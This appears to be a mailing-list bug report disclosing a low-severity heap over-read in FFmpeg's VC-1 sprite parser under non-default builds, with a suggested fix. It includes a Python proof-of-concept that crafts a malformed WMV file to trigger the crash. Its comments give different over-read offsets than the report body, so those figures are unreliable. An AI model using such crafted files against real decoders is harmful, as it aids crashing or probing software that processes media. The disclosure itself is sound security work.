Hi, I'm reporting a logic bug in the WMV3IMAGE sprite parser that allows a 2-byte heap over-read when FFmpeg is built with --disable-safe-bitstream-reader.
## Bug
vc1_parse_sprites() in libavcodec/vc1dec.c performs multiple GetBitContext
reads before a late bounds check at L199. For WMV3IMAGE, the check adds
64 bits of slack that is never consumed:
if (get_bits_count(gb) >= gb->size_in_bits +
(avctx->codec_id == AV_CODEC_ID_WMV3IMAGE ? 64 : 0))
With two_sprites=1, parsing two full sprite transforms via
vc1_sprite_parse_transform() consumes 426 bits (53.25 bytes), followed
by skip_bits(2) + effect_type(30) + effect_pcount1(4), reaching byte 58.
The subsequent effect_params1 loop then reads 15 x get_fp_val(30 bits)
with no per-read bounds check. At effect_params1[7] (bit 674, byte 84),
get_bits_long() issues an AV_RB64 prefetch spanning bytes 84-91, which
is 2 bytes past the end of the 90-byte packet buffer (58 bytes frame
data + 32 bytes padding).
## Build constraints
This is only triggerable under two non-default conditions:
1. --disable-safe-bitstream-reader (CONFIG_SAFE_BITSTREAM_READER=0)
With the default safe reader enabled, get_bits_long() checks bounds
before reading and returns 0 past the end — the over-read does not
occur. Most production distributions build with the safe reader.
2. AV_INPUT_BUFFER_PADDING_SIZE=32 (reduced from default 64)
With default 64-byte padding the packet allocation is 122 bytes,
and the byte-84 read lands within the padding region — no crash.
The PoC uses a reduced-padding build to trigger the boundary.
Under default upstream build settings, the safe bitstream reader
silently prevents this bug from being exploitable.
## ASan output (--disable-safe-bitstream-reader build)
READ of size 8 at 0xf52194f01c74 thread T3 (dec0:0:wmv3imag)
#0 get_bits_long libavcodec/get_bits.h:436
#1 get_fp_val libavcodec/vc1dec.c:102
#2 vc1_parse_sprites libavcodec/vc1dec.c:168
#3 vc1_decode_sprites libavcodec/vc1dec.c:316
#4 vc1_decode_frame libavcodec/vc1dec.c:1362
0xf52194f01c7a is located 0 bytes to the right of 90-byte region
FFmpeg version: N-123228-g0ddece40c5
## Trigger
Crafted ASF/WMV file with:
- Codec: WMV3IMAGE (WMVP), res_sprite=1 in sequence header extradata
- Frame 1: new_sprite=1, valid I-frame header (allocates cur_pic)
- Frame 2: new_sprite=0 (jumps to image label), two_sprites=1,
58 bytes of all-0xFF payload
- Two sprite transforms, case 3, alpha=1: 2 × 213 bits = 426 bits
- skip_bits(2) + effect_type(30) + effect_pcount1(4) = 36 bits
- effect_pcount1 = 0xF = 15
- effect_params1[7] triggers AV_RB64 at byte 84, 2 bytes past end
PoC script attached (poc_vc1.py).
## Suggested fix
The bounds check at L199 should either be moved before the sprite
transform calls, or get_bits_left() guards should be added at the start
of vc1_parse_sprites() to validate sufficient bits are available before
beginning sprite parameter reads. The 64-bit slack for WMV3IMAGE serves
no documented purpose and should be removed.
## Severity
Low. The underlying logic is wrong. The late bounds check with WMV3IMAGE
slack is incorrect regardless of build flags, but the over-read is only
2 bytes, and the safe bitstream reader (enabled by default) prevents it
from occurring in standard builds. No CVE is expected; this is a
correctness fix.
Regards,
Jenny (Guanni Qu)
#!/usr/bin/env python3
"""
PoC for heap over-read in FFmpeg vc1_parse_sprites() (vc1dec.c:139).
The bug: vc1_parse_sprites() performs many unbounded GetBitContext reads
(sprite transforms, effect params) BEFORE the bounds check at line 199.
Requires: CONFIG_SAFE_BITSTREAM_READER=0 (--disable-safe-bitstream-reader)
AV_INPUT_BUFFER_PADDING_SIZE=32 (reduced from default 64)
Strategy: Two-frame ASF with WMV3IMAGE (WMVP) codec.
Frame 1: new_sprite=1, valid I-frame header -> allocates cur_pic buffers
Frame 2: new_sprite=0 (goto image path) -> directly calls vc1_parse_sprites()
with 58 bytes of all-0xFF data that maximizes bit reads past buffer.
With 58 bytes of 0xFF (allocation = 58 + 32 = 90 bytes):
- Bit 0-1: new_sprite=0, two_sprites=1
- 2 sprite transforms case 3 with alpha=1: 2 x 213 = 426 bits (bits 2-427)
- effect block: skip(2) + effect_type(30, non-zero) + pcount1(4, =15) = 36 bits
- pcount1=15 -> 15 x get_fp_val(30 bits) = 450 bits (bits 464-913)
- The 15th get_fp_val at bit 884 triggers AV_RB64 at byte 110,
reading bytes 110-117, exceeding the 90-byte allocation. ASan detects this.
"""
import struct
import os
# ASF GUIDs from FFmpeg libavformat/asf_tags.c
GUID_ASF_HEADER = bytes([
0x30, 0x26, 0xB2, 0x75, 0x8E, 0x66, 0xCF, 0x11,
0xA6, 0xD9, 0x00, 0xAA, 0x00, 0x62, 0xCE, 0x6C])
GUID_ASF_FILE_PROPERTIES = bytes([
0xA1, 0xDC, 0xAB, 0x8C, 0x47, 0xA9, 0xCF, 0x11,
0x8E, 0xE4, 0x00, 0xC0, 0x0C, 0x20, 0x53, 0x65])
GUID_ASF_STREAM_PROPERTIES = bytes([
0x91, 0x07, 0xDC, 0xB7, 0xB7, 0xA9, 0xCF, 0x11,
0x8E, 0xE6, 0x00, 0xC0, 0x0C, 0x20, 0x53, 0x65])
GUID_ASF_VIDEO_MEDIA = bytes([
0xC0, 0xEF, 0x19, 0xBC, 0x4D, 0x5B, 0xCF, 0x11,
0xA8, 0xFD, 0x00, 0x80, 0x5F, 0x5C, 0x44, 0x2B])
GUID_ASF_NO_ERROR_CORRECTION = bytes([
0x00, 0x57, 0xFB, 0x20, 0x55, 0x5B, 0xCF, 0x11,
0xA8, 0xFD, 0x00, 0x80, 0x5F, 0x5C, 0x44, 0x2B])
GUID_ASF_DATA = bytes([
0x36, 0x26, 0xB2, 0x75, 0x8E, 0x66, 0xCF, 0x11,
0xA6, 0xD9, 0x00, 0xAA, 0x00, 0x62, 0xCE, 0x6C])
GUID_ZERO = b'\x00' * 16
p64 = lambda v: struct.pack('<Q', v)
p32 = lambda v: struct.pack('<I', v)
p16 = lambda v: struct.pack('<H', v)
class BitWriter:
def __init__(self):
self.bits = []
def write(self, val, n):
for i in range(n - 1, -1, -1):
self.bits.append((val >> i) & 1)
def to_bytes(self):
while len(self.bits) % 8:
self.bits.append(0)
out = bytearray()
for i in range(0, len(self.bits), 8):
byte = 0
for j in range(8):
byte = (byte << 1) | self.bits[i + j]
out.append(byte)
return bytes(out)
def __len__(self):
return len(self.bits)
def build_extradata():
"""WMV3 sequence header: PROFILE_MAIN, res_sprite=1, 64x64 sprites."""
bw = BitWriter()
bw.write(1, 2) # profile = PROFILE_MAIN
bw.write(0, 1) # res_y411 = 0
bw.write(1, 1) # res_sprite = 1
bw.write(0, 3) # frmrtq_postproc
bw.write(0, 5) # bitrtq_postproc
bw.write(0, 1) # loop_filter
bw.write(0, 1) # res_x8
bw.write(0, 1) # multires
bw.write(1, 1) # res_fasttx = 1 (avoids extra 16-bit skip)
bw.write(0, 1) # fastuvmc
bw.write(0, 1) # extended_mv
bw.write(0, 2) # dquant
bw.write(0, 1) # vstransform
bw.write(0, 1) # res_transtab = 0
bw.write(0, 1) # overlap
bw.write(0, 1) # resync_marker
bw.write(0, 1) # rangered
bw.write(0, 3) # max_b_frames
bw.write(0, 2) # quantizer_mode
bw.write(0, 1) # finterpflag
bw.write(64, 11) # sprite_width
bw.write(64, 11) # sprite_height
bw.write(0, 5) # frame_rate
bw.write(0, 1) # res_x8
bw.write(0, 1) # dc_vlc_bit = 0
bw.write(0, 3) # slice_code
return bw.to_bytes()
def build_frame1():
"""Frame 1: new_sprite=1 + valid I-frame header + zero padding.
This frame decodes through the normal VC1 path to allocate cur_pic
(needed by vc1_decode_sprites). MB decode errors are tolerated for I-frames.
"""
bw = BitWriter()
bw.write(0, 1) # new_sprite = !0 = 1
bw.write(1, 1) # two_sprites = 1
bw.write(0, 2) # framecnt (skip)
bw.write(0, 1) # pict_type = I-frame
bw.write(0, 7) # buffer_fullness
bw.write(1, 5) # pqindex = 1
bw.write(0, 1) # halfpq
bw.write(0, 1) # c_ac_table_index (decode012)
bw.write(0, 1) # y_ac_table_index (decode012)
bw.write(0, 1) # dc_table_index
# Pad to 40 bytes
remaining = 40 * 8 - len(bw)
bw.write(0, remaining)
return bw.to_bytes()
def build_frame2():
"""Frame 2: new_sprite=0 (goto image) + all-0xFF sprite data.
With new_sprite=0, vc1_decode_frame jumps directly to the image label,
calling vc1_parse_sprites() on the frame data starting at bit 2.
All-0xFF data causes:
- Sprite transforms: case 3 (max reads), alpha=1 (extra fp_val)
- effect_type: non-zero at bit 430 (bytes 53-57 still in 0xFF data)
- pcount1 = 15 at bits 460-463 (byte 57 still in 0xFF data)
- 15 x get_fp_val = 450 bits (bits 464-913)
- The 15th get_fp_val at bit 884 uses AV_RB64 at byte 110,
reading bytes 110-117, past the 90-byte allocation (58+32).
"""
return b'\xff' * 58
def build_bitmapinfoheader(width, height, extradata):
bi_size = 40 + len(extradata)
bih = p32(bi_size)
bih += struct.pack('<i', width)
bih += struct.pack('<i', height)
bih += p16(1) + p16(24)
bih += b'WMVP'
bih += p32(width * height * 3)
bih += p32(0) * 4
bih += extradata
return bih
def build_asf_object(guid, data):
return guid + p64(16 + 8 + len(data)) + data
def build_file_properties(pkt_size, num_packets):
data = GUID_ZERO
data += p64(0)
data += p64(0)
data += p64(num_packets)
data += p64(20000000) # 2 seconds
data += p64(0)
data += p32(0) + p32(0) # preroll
data += p32(0x02) # flags: seekable
data += p32(pkt_size)
data += p32(pkt_size)
data += p32(0)
return data
def build_stream_properties(width, height, extradata):
bih = build_bitmapinfoheader(width, height, extradata)
video_ts = p32(width) + p32(height) + bytes([0]) + p16(len(bih)) + bih
data = GUID_ASF_VIDEO_MEDIA
data += GUID_ASF_NO_ERROR_CORRECTION
data += p64(0)
data += p32(len(video_ts))
data += p32(0)
data += p16(0x0001)
data += p32(0)
data += video_ts
return data
def build_data_packet(frame_data, pkt_size, timestamp=0):
"""ASF data packet with standard ECC sync and proper padding."""
# Fixed overhead: EC(3) + flags(1) + prop(1) + padsize(2) + ts(4) + dur(2) +
# stream(1) + replic_len(1) + replic_data(8) = 23 bytes
overhead = 23
padsize = pkt_size - overhead - len(frame_data)
if padsize < 0:
raise ValueError(f"Frame too large: {len(frame_data)} > {pkt_size - overhead}")
pkt = bytearray(pkt_size)
pos = 0
# Standard ECC sync: 0x82, 0x00, 0x00
pkt[pos] = 0x82; pos += 1
pkt[pos] = 0x00; pos += 1
pkt[pos] = 0x00; pos += 1
# Packet flags: bits 3-4 = 10 (padding type = WORD)
pkt[pos] = 0x10; pos += 1
# Packet property: bits 0-1 = 01 (replic_size type = BYTE)
pkt[pos] = 0x01; pos += 1
# Padding length (WORD)
struct.pack_into('<H', pkt, pos, padsize); pos += 2
# Send time (DWORD)
struct.pack_into('<I', pkt, pos, timestamp); pos += 4
# Duration (WORD)
struct.pack_into('<H', pkt, pos, 0); pos += 2
# Payload: stream 1, key frame
pkt[pos] = 0x81; pos += 1
# Replicated data length (BYTE)
pkt[pos] = 0x08; pos += 1
# Media object size (DWORD)
struct.pack_into('<I', pkt, pos, len(frame_data)); pos += 4
# Presentation time (DWORD)
struct.pack_into('<I', pkt, pos, timestamp); pos += 4
# Frame data
pkt[pos:pos + len(frame_data)] = frame_data
return bytes(pkt)
def build_asf(frame1, frame2, extradata):
pkt_size = 512
width = height = 64
fp_obj = build_asf_object(GUID_ASF_FILE_PROPERTIES,
build_file_properties(pkt_size, 2))
sp_obj = build_asf_object(GUID_ASF_STREAM_PROPERTIES,
build_stream_properties(width, height, extradata))
header_data = p32(2) + bytes([0x01, 0x02]) + fp_obj + sp_obj
header_obj = build_asf_object(GUID_ASF_HEADER, header_data)
pkt1 = build_data_packet(frame1, pkt_size, timestamp=0)
pkt2 = build_data_packet(frame2, pkt_size, timestamp=1000)
data_content = GUID_ZERO + p64(2) + p16(0x0101) + pkt1 + pkt2
data_obj = build_asf_object(GUID_ASF_DATA, data_content)
return header_obj + data_obj
def main():
extradata = build_extradata()
frame1 = build_frame1()
frame2 = build_frame2()
padding = 32 # AV_INPUT_BUFFER_PADDING_SIZE (reduced from 64)
print(f"[*] Extradata: {len(extradata)} bytes")
print(f"[*] Frame 1 (I-frame setup): {len(frame1)} bytes")
print(f"[*] Frame 2 (sprite trigger): {len(frame2)} bytes (all 0xFF)")
print(f"[*] Frame 2 allocation: {len(frame2) + padding} bytes (data + {padding} padding)")
print(f"[*] Sprite parse reads to byte ~117 -> over-reads by ~{117 - (len(frame2) + padding) + 1} bytes")
asf = build_asf(frame1, frame2, extradata)
out = "/tmp/poc_vc1.wmv"
with open(out, "wb") as f:
f.write(asf)
print(f"[*] Written {len(asf)} bytes to {out}")
print(f"[*] Run: ~/ffmpeg_validation/ffmpeg/ffmpeg -i {out} -f null -")
if __name__ == "__main__":
main()
vc1dec_crash.log
Description: Binary data
_______________________________________________ ffmpeg-devel mailing list -- [email protected] To unsubscribe send an email to [email protected]
